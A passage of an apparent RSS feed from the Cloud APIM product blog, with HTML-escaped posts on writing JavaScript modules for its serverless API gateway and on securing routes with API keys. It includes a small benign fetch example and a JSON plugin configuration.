&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Sign up now&lt;/strong&gt;&lt;/a&gt; and take the first step towards secure and efficient &lt;strong&gt;API management&lt;/strong&gt; !&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; and &lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>APIs</category><category>APIM</category><category>Environments</category><category>API gateway</category><category>API management</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DlT01-on_Zd0JWt.jpg" length="0" type="image/jpeg"/></item><item><title>🛠️ Unlock the power of programmable API Gateways - customize your APIs with JavaScript Modules</title><link>https://blog.cloud-apim.com/unlock-the-power-of-programmable-api-gateways-customize-your-apis-with-javascript-modules</link><guid isPermaLink="true">https://blog.cloud-apim.com/unlock-the-power-of-programmable-api-gateways-customize-your-apis-with-javascript-modules</guid><description>Sometimes existing APIs are well thought out and designed, sometimes clients are flexibles and can adapt to the API responses. And sometimes everything goes wrong ... In such cases, it can be really helpful to be able to customize things in a…</description><pubDate>Thu, 13 Jun 2024 09:28:13 GMT</pubDate><content:encoded>&lt;p&gt;Sometimes existing APIs are well thought out and designed, sometimes clients are flexibles and can adapt to the API responses.&lt;/p&gt;
&lt;p&gt;And sometimes everything goes wrong …&lt;/p&gt;
&lt;p&gt;In such cases, it can be really helpful to be able to customize things in a central place to keep everyone happy.&lt;/p&gt;
&lt;p&gt;🚀 That’s why we’re thrilled to introduce our new feature : &lt;strong&gt;JavaScript Modules&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This new feature in &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; empowers developers to tailor their APIs to their exact specifications.&lt;/p&gt;
&lt;div class=&quot;embed embed-video&quot;&gt;&lt;iframe src=&quot;https://www.youtube-nocookie.com/embed/4awrYEEIv_0&quot; title=&quot;YouTube video&quot; loading=&quot;lazy&quot; allow=&quot;accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;
### **🤔 What are JavaScript Modules ?**
&lt;p&gt;🔄 JavaScript Modules are reusable blocks of code written in JavaScript that can be easily integrated into your APIs.&lt;/p&gt;
&lt;p&gt;These modules encapsulate specific functionality, such as data validation, transformation, or custom business logic, allowing you to enhance and extend the capabilities of your &lt;strong&gt;APIs&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-why-integrating-javascript-modules-&quot;&gt;💡 &lt;strong&gt;Why integrating JavaScript Modules ?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;With JavaScript Modules, you have the freedom to customize every aspect of your API.&lt;/p&gt;
&lt;p&gt;Whether you need to implement complex validation rules, transform data formats, or integrate with external services, &lt;strong&gt;JavaScript Modules&lt;/strong&gt; provide a flexible and powerful solution.&lt;/p&gt;
&lt;p&gt;By leveraging existing modules or creating your own, you can accelerate development and streamline maintenance, all while maintaining the scalability and reliability of your APIs.&lt;/p&gt;
&lt;h3 id=&quot;-key-benefits-of-javascript-modules&quot;&gt;🌟 &lt;strong&gt;Key Benefits of JavaScript Modules&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Flexibility&lt;/strong&gt;: JavaScript Modules enable you to adapt your APIs to meet the unique requirements of your applications and users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reusability&lt;/strong&gt;: Reuse existing modules across multiple APIs to save time and effort in development.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scalability&lt;/strong&gt;: Scale your APIs effortlessly by leveraging modular architecture and distributed computing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Maintainability&lt;/strong&gt;: Simplify maintenance and updates by encapsulating logic in self-contained modules.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Innovation&lt;/strong&gt; : Experiment with new features and functionality without disrupting existing APIs, fostering a culture of innovation and continuous improvement. 🚀&lt;/p&gt;
&lt;h3 id=&quot;-getting-started-with-javascript-modules&quot;&gt;&lt;strong&gt;🏁 Getting Started with JavaScript Modules&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Getting started with JavaScript Modules in &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; is easy.&lt;/p&gt;
&lt;p&gt;Simply browse our library of pre-built modules or create your own using your favorite JavaScript framework.&lt;/p&gt;
&lt;p&gt;💻 Integrate modules seamlessly into your APIs using our intuitive interface, and start unlocking the full potential of customization today.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sign Up on Cloud APIM Serverless :&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before setting up a &lt;strong&gt;Javascript Module&lt;/strong&gt;, ensure you have created a project on &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you haven’t created one yet, follow these steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Log in to your &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;Cloud APIM Serverless dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on &lt;em&gt;“New project”&lt;/em&gt; and fill in your project name.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Create your first Module :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Navigate to the &lt;em&gt;” modules”&lt;/em&gt; folder and create a new one.&lt;/p&gt;
&lt;p&gt;Your filename must ends by &lt;strong&gt;‘.js’&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For example you can create a new file named &lt;strong&gt;‘first-module.js’&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copy and paste the following code and edit it as you wish&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exports&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;on_backend_call&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; fetch&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;`https://jsonplaceholder.typicode.com/todos`&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    .&lt;/span&gt;&lt;span&gt;then&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;response&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;span&gt; response.&lt;/span&gt;&lt;span&gt;json&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    .&lt;/span&gt;&lt;span&gt;then&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;json&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      return&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        status: &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        headers: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &apos;Content-Type&apos;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&apos;application/json&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        body_json: { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          size: json.&lt;/span&gt;&lt;span&gt;length&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          data: json &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Link your module to your route :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Select the &lt;em&gt;“openapi.json”&lt;/em&gt; file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choose the route you want to add the plugin or create a new route if you don’t have one yet&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In the ’ plugins ’ section let’s choose &lt;strong&gt;Javascript Module Plugin&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And now you just have to link the filename of your module&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;module&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;/modules/first-module.js&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;-conclusion&quot;&gt;&lt;strong&gt;🎉 Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;JavaScript Modules are a game-changer for API customization, offering unparalleled flexibility, reusability, and scalability.&lt;/p&gt;
&lt;p&gt;With &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;, you have the tools you need to take your APIs to the next level and deliver exceptional experiences to your users.&lt;/p&gt;
&lt;p&gt;Embrace the power of JavaScript Modules and transform the way you build APIs forever.&lt;/p&gt;
&lt;h3 id=&quot;-get-started-now&quot;&gt;&lt;strong&gt;🚀 Get Started Now&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ready to get started with &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Sign up now&lt;/strong&gt;&lt;/a&gt; and take the first step towards secure and efficient &lt;strong&gt;API management&lt;/strong&gt; !&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; and &lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>APIs</category><category>APIM</category><category>FaaS</category><category>JavaScript</category><category>API management</category><category>API gateway</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DYigblih_Z1F9ELm.jpg" length="0" type="image/jpeg"/></item><item><title>🔒 Secure Your APIs with API Keys : Getting started with Cloud APIM Serverless</title><link>https://blog.cloud-apim.com/secure-your-apis-with-api-keys-getting-started-with-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/secure-your-apis-with-api-keys-getting-started-with-cloud-apim-serverless</guid><description>🔑 API Keys authentication is a fundamental aspect of securing your APIs and controlling access to your resources. With Cloud APIM Serverless, implementing API Keys authentication for your routes is straightforward and effective. By generating…</description><pubDate>Fri, 07 Jun 2024 08:56:32 GMT</pubDate><content:encoded>&lt;p&gt;🔑 API Keys authentication is a fundamental aspect of securing your APIs and controlling access to your resources.&lt;/p&gt;
&lt;p&gt;With &lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt;, implementing API Keys authentication for your routes is straightforward and effective.&lt;/p&gt;
&lt;p&gt;By generating unique API Keys for each authorized user or application, you can ensure secure access to your APIs while tracking and controlling usage.&lt;/p&gt;
&lt;p&gt;In this guide, we’ll explore how to set up API Keys authentication on &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; routes, empowering you to safeguard your APIs and data effectively.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/FoaNJD5bYno?si=UB7cZur9UHn7Rcob&quot;&gt;&lt;/iframe&gt;
&lt;h2 id=&quot;-what-are-api-keys&quot;&gt;&lt;strong&gt;🤔&lt;/strong&gt; What are API Keys?&lt;/h2&gt;
&lt;p&gt;API keys are unique identifiers that are passed along with API requests to authenticate the calling application.&lt;/p&gt;
&lt;p&gt;They help track and control how the API is being used, ensuring that only authorized users can access the API.&lt;/p&gt;
&lt;h2 id=&quot;-why-using-api-keys&quot;&gt;&lt;strong&gt;🔑 Why using API Keys?&lt;/strong&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;🔒 Security :&lt;/strong&gt; API keys act as a gatekeeper, restricting access to your API and ensuring that only authorized applications can interact with it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;📊 &lt;strong&gt;Usage Tracking :&lt;/strong&gt; API keys serve as tracking beacons, allowing you to monitor how your API is being used, providing valuable insights and analytics into usage patterns.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;⏱️ Rate Limiting :&lt;/strong&gt; With API keys, you can enforce rate limits to prevent abuse and ensure fair usage, maintaining optimal performance for all users.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;-setting-up-api-keys-with-cloud-apim-serverless&quot;&gt;&lt;strong&gt;🔧 Setting Up API Keys with Cloud APIM Serverless&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id=&quot;-step-1--create-a-serverless-project&quot;&gt;&lt;strong&gt;🆕 Step 1 : Create a Serverless Project&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Before setting up API keys, ensure you have an API created within Cloud APIM Serverless. If you haven’t created one yet, follow these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Log in to your &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;Cloud APIM Serverless dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on “New project” and fill in your project name.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use Github as a provider and choose to fork the empty project template&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;-step-2--enable-api-key-authentication&quot;&gt;&lt;strong&gt;🔐 Step 2 : Enable API Key Authentication&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1. &lt;strong&gt;Navigate to Your OpenAPI file :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;In your &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;Cloud APIM Serverless dashboard&lt;/a&gt;, select the API you want to secure&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Select the &lt;em&gt;“openapi.json”&lt;/em&gt; file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choose the route you want to enable API Key Authentication or create a new route if you don’t have one yet&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;in case you want to create a route, click on &lt;em&gt;‘Create new route’&lt;/em&gt; and fill the route with a path on ‘/todos’ and the method to ‘GET’.&lt;/p&gt;
&lt;p&gt;Add the ‘Override host header’ in the plugins&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1355px) 1355px, 100vw&quot; width=&quot;1355&quot; height=&quot;1125&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_ZvJ32D.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_Z15jNv5.webp 640w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_1v7sYj.webp 750w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_11bKf2.webp 828w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_ZfvkOs.webp 1080w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_1YzLLi.webp 1280w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_ZvJ32D.webp 1355w&quot;&gt;&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;Add API Key Authentication plugin :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;In the plugins list click on &lt;em&gt;‘add plugin’&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Search for ‘&lt;strong&gt;ApiKeys&lt;/strong&gt;’ plugin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can now save the default configuration and push your changes to Github&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1359px) 1359px, 100vw&quot; width=&quot;1359&quot; height=&quot;1147&quot; src=&quot;https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_Z2jAYNo.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_18tHxA.webp 640w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_Z2oownm.webp 750w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_5A7st.webp 828w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_Z13HTCC.webp 1080w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_qnV6p.webp 1280w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_Z2jAYNo.webp 1359w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;-step-3--generate-api-keys&quot;&gt;&lt;strong&gt;🔑 Step 3 : Generate API Keys&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1. &lt;strong&gt;Go to the API Keys in your toolbar :&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;- In the dashboard, navigate to the “API Keys” section.&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;Create a New API Key:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;- Click on ”&lt;strong&gt;+&lt;/strong&gt;” button to create a new Api Key&lt;/p&gt;
&lt;p&gt;- Fill in the details such as the key name, add users as managers, select environments and define your own quotas for each Api Key&lt;/p&gt;
&lt;p&gt;- Click “save” to create the API key.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 834px) 834px, 100vw&quot; width=&quot;834&quot; height=&quot;1010&quot; src=&quot;https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_Z1dziT7.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_xIyG2.webp 640w, https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_Z10H9f9.webp 750w, https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_ZWsWKe.webp 828w, https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_Z1dziT7.webp 834w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;-step-4--use-api-keys-in-requests&quot;&gt;&lt;strong&gt;🌐 Step 4 : Use API Keys in Requests&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;To access your API using the API key, click on ‘tools’ in your toolbar and then select ‘&lt;strong&gt;Tests&lt;/strong&gt;’&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Select the method you want to use, the route path and the Api Key you’ve created previously&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on ‘&lt;strong&gt;Run&lt;/strong&gt;’ button to send the request&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You will see the response body at the bottom of the Test Popup&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 815px) 815px, 100vw&quot; width=&quot;815&quot; height=&quot;851&quot; src=&quot;https://blog.cloud-apim.com/_astro/04-e951d7.BZJR5uHi_20i9oB.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/04-e951d7.BZJR5uHi_Z1H77hR.webp 640w, https://blog.cloud-apim.com/_astro/04-e951d7.BZJR5uHi_Z2iqefD.webp 750w, https://blog.cloud-apim.com/_astro/04-e951d7.BZJR5uHi_20i9oB.webp 815w&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;-best-practices-for-api-key-management&quot;&gt;&lt;strong&gt;🚪 Best Practices for API Key Management&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;🔒 &lt;strong&gt;Keep Keys Confidential :&lt;/strong&gt; Never expose your API keys in public repositories, client-side code, or unsecured locations.&lt;/p&gt;
&lt;p&gt;🔄 &lt;strong&gt;Rotate Keys Regularly :&lt;/strong&gt; Periodically regenerate API keys to minimize the risk of compromised keys.&lt;/p&gt;
&lt;p&gt;👀 &lt;strong&gt;Monitor Usage :&lt;/strong&gt; Regularly check usage logs to detect any unusual or unauthorized activity.&lt;/p&gt;
&lt;p&gt;⏱️ &lt;strong&gt;Enforce Rate Limits :&lt;/strong&gt; Implement rate limiting to protect your API from abuse and ensure fair usage.&lt;/p&gt;
&lt;h2 id=&quot;-conclusion&quot;&gt;&lt;strong&gt;🎉 Conclusion&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Securing your APIs with API keys is a fundamental step in protecting your services and ensuring efficient usage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; makes it easy to set up and manage API keys, providing robust security and insightful analytics.&lt;/p&gt;
&lt;p&gt;By following the steps outlined above, you can ensure your APIs are secure and ready for use.&lt;/p&gt;
&lt;h3 id=&quot;-get-started-now&quot;&gt;&lt;strong&gt;🚀 Get Started Now&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ready to get started with &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Sign up now&lt;/strong&gt;&lt;/a&gt; and take the first step towards secure and efficient &lt;strong&gt;API management&lt;/strong&gt; !&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; and &lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>Cloud APIM</category><category>APIs</category><category>APIM</category><category>API management</category><category>API keys</category><category>GitOps</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.s6c9J79m_1E6KFc.jpg" length="0" type="image/jpeg"/></item><item><title>🔥 Unleashing the Power of API Management with Cloud APIM Serverless</title><link>https://blog.cloud-apim.com/unleashing-the-power-of-api-management-with-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/unleashing-the-power-of-api-management-with-cloud-apim-serverless</guid><description>In today&apos;s rapidly evolving tech landscape, efficient and scalable API management is crucial for businesses of all sizes. That&apos;s why we&apos;re excited to introduce Cloud APIM Serverless, our cutting-edge solution designed to streamline the deployment…</description><pubDate>Mon, 03 Jun 2024 12:02:10 GMT</pubDate><content:encoded>&lt;p&gt;In today’s rapidly evolving tech landscape, efficient and scalable 